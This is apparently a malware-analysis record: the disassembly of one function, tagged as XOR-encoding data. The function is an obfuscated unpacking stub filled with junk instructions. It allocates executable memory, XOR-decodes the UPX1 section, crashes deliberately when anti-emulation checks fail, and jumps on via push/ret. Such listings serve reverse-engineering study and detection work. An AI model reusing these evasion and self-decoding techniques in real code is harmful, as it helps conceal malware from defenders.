Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1bebfda
dec edi
and eax, eax
sub edi, 0xb7f98bab
popal
and eax, edi
or edi, edi
not eax
mov eax, 0
mov ecx, edx
inc esi
not esi
mov edi, ecx
or ebx, ebx
mov esi, 0x7aca6b66
mov edx, edi
sub esi, 0x187a017d
sub esi, 0x1cf545f0
inc eax
add ebx, ebx
mov ebx, 0x413b9153
sub esi, ebx
cmp eax, 0x10042bf
jne 0x47afd3
or esi, esi
mov ebx, 0xfc8f50d2
cmp eax, 0x10042bf
je 0x47b01b
mov edx, 0
mov byte [edx], cl
add ebx, 0x245cf9ba
sub esi, 1
add eax, 0x9d5bc892
sub edi, eax
mov eax, 0x47ada2
inc ecx
not esi
mov ebx, 0x504a4ce3
mov edi, 0x47af96
mov ecx, ebx
mov ebx, 0xce142aac
inc ecx
mov edx, dword [eax]
mov ebx, ecx
sub ebx, 0x305f0e0e
and ecx, ecx
and edx, 0xff
add ebx, esi
mov ebx, 0x292101fb
xor dword [edi], edx
not ecx
add ebx, 0x5200431c
add edi, 1
mov ecx, ebx
sub ebx, ecx
inc eax
mov ebx, esi
add ecx, esi
cmp edi, entry0
jl 0x47b049
not ebx
mov ebx, ecx
dec ecx
and ebx, esi
and esi, esi
add ebx, 1
add edx, 0xddfcdca6
sub ebx, 1
mov esi, 0x47af9a
or edi, edi
or ecx, ecx
mov esi, dword [esi]
mov ecx, edi
inc edi
mov esi, dword [esi]
mov ebx, 0xd65f85e7
and ecx, ebx
sub esp, 4
mov dword [esp], esi
add ecx, 0xd369b36
dec ebx
sub ebx, ecx
mov esi, 0x47af96
mov edx, 0xec568aff
dec edx
mov esi, dword [esi]
add ecx, edi
sub ecx, edi
mov esi, dword [esi]
and edi, edi
sub edi, ecx
mov edx, 0x6a348915
push 0x47af9e
inc edx
or edx, edi
and edx, ecx
call esi
add ebx, 0xbd4e64a7
mov edx, ebx
and ebx, edx
mov esi, dword [esp]
add esp, 4
inc ecx
dec edi
sub edx, 0xe4b00f12
sub esp, 4
mov dword [esp], 0x47afab
mov ebx, edx
add ecx, ecx
sub esp, 4
mov dword [esp], eax
mov ecx, ebx
sub ebx, edx
call esi
add edi, 0x197107ef
sub edx, 1
or ebx, edx
push 0x40
mov edi, ebx
dec ecx
add edi, edx
push 0x3000
add ecx, 0x2130e192
inc ecx
push 0x20000a97
add edi, ebx
mov edx, 0x79bcade8
sub esp, 4
mov dword [esp], 0
add edx, 0x1018f6a2
add ebx, 0x94ca6bc0
call eax
not ecx
sub edx, 1
add eax, 0x20000a28
mov ecx, edx
add ebx, ebx
mov esi, 0x3d819d9c
mov edi, ebx
add ecx, edi
add edi, edi
mov dword [eax], esi
dec ecx
mov ecx, 0xab8b8773
and ecx, ebx
mov esi, dword [eax]
or edx, ebx
not edi
sub ebx, 0x9965e992
cmp esi, 0x3d819d9c
je 0x47b1ac
mov ecx, 0
mov byte [ecx], bl
add edi, ebx
and edi, edi
inc edx
add ebx, 0x6451473
inc edx
mov edi, 0xe6ad88a1
sub eax, edi
inc eax
mov ebx, section.UPX1
and eax, edi
add eax, 0x224d54aa
mov edi, eax
mov ecx, 0x47ada1
add edi, eax
and eax, edi
mov edx, 0
sub eax, edi
not edi
mov esi, 0x47ada2
add eax, 0x37bd228f
and edi, eax
lea esi, [esi + edx]
sub eax, 0xae5af200
mov eax, 0xa033563a
mov esi, dword [esi]
mov edi, 0xd8acfb8a
add edi, eax
mov eax, 0xef4fd4a8
and esi, 0xff
mov eax, 0x3c92d3d9
mov eax, 0x2c4bffa6
inc edx
mov edi, eax
and edi, edi
cmp edx, 0x1f4
jne 0x47b22c
mov edx, 0
and eax, edi
add edi, 0x926d7eef
not eax
sub edi, eax
sub edi, eax
xor dword [ebx], esi
or eax, eax
sub edi, 0x4ed34817
add ebx, 2
inc eax
mov eax, 0xf457972f
cmp ebx, ecx
jl 0x47b1e1
add eax, edi
sub eax, 0xbfa5be01
add eax, eax
mov edi, 0xda8ffd59
mov ecx, section.UPX1
add edi, edi
add esi, 0x551160e9
mov ebx, section.UPX1
sub edi, 0xe69a5402
add esi, 1
mov eax, 0x47ada1
mov edi, esi
add edi, 1
mov edx, 0
or esi, edi
add edi, 0xa16d2147
sub esi, 0xcaa98295
mov dl, byte [ebx]
not esi
mov esi, 0x540dded1
mov edi, esi
mov byte [ecx], dl
sub edi, esi
mov esi, edi
inc ecx
sub esi, 0x8b8ed12
add edi, 0x3496466e
sub edi, 0xef534e8c
add ebx, 2
add esi, edi
add esi, 0x8a830077
cmp ebx, eax
jle 0x47b2a5
sub esi, 0x47a78090
sub esi, 0x646feae5
not eax
add edi, 0x9658fa61
sub esp, 4
mov dword [esp], 0x45e6a0
sub eax, 0x1810176
or edi, edi
ret